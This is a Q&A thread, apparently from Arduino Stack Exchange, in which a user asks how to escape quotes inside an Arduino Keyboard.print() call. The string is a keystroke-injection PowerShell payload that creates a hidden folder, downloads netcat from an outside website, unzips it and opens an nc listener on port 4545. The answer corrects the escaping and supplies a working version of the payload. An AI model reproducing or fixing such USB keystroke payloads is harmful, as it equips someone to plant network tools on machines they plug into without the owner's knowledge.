0

I'm trying to print multiple quotes in a Keyboard.print() function but when i try to escape the character with \ at $output =\"$HOME\Misc\nc.zip\"" and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?

Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):
  • What is your question? Your post looks like a bug report for Arduino IDE; if so, post it as an issue to github.com/arduino/Arduino/issues – jfpoilpret Dec 16 '16 at 5:54
  • How can I print the whole string including the quotes. @jfpoilpret – Katz Dec 16 '16 at 6:00
  • What is the exact sequence of characters that you want to send to the keyboard? From that, we can show you how to properly escape it. As I see in your sample code, your escaping looks incorrect in several palces, in particular, almost everywhere you used \"" where you should have used \" only. – jfpoilpret Dec 16 '16 at 6:27
  • I don't understand what you mean by sequence, I just want to print this string this is without any messy escaping quotes Keyboard.print("cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt"); – Katz Dec 16 '16 at 6:36
  • but when I only use one double quote at the end it stops at $output the rest doest not get recognized as a string. – Katz Dec 16 '16 at 6:40
1

It seems you used \"" instead of only \" in several locations of this string. Also, since the string you want to send already includes the escape \ character, it must iself be escaped \\.

If the command you want to send to keyboard is:

cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt

Then you should escape it as follows:

"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.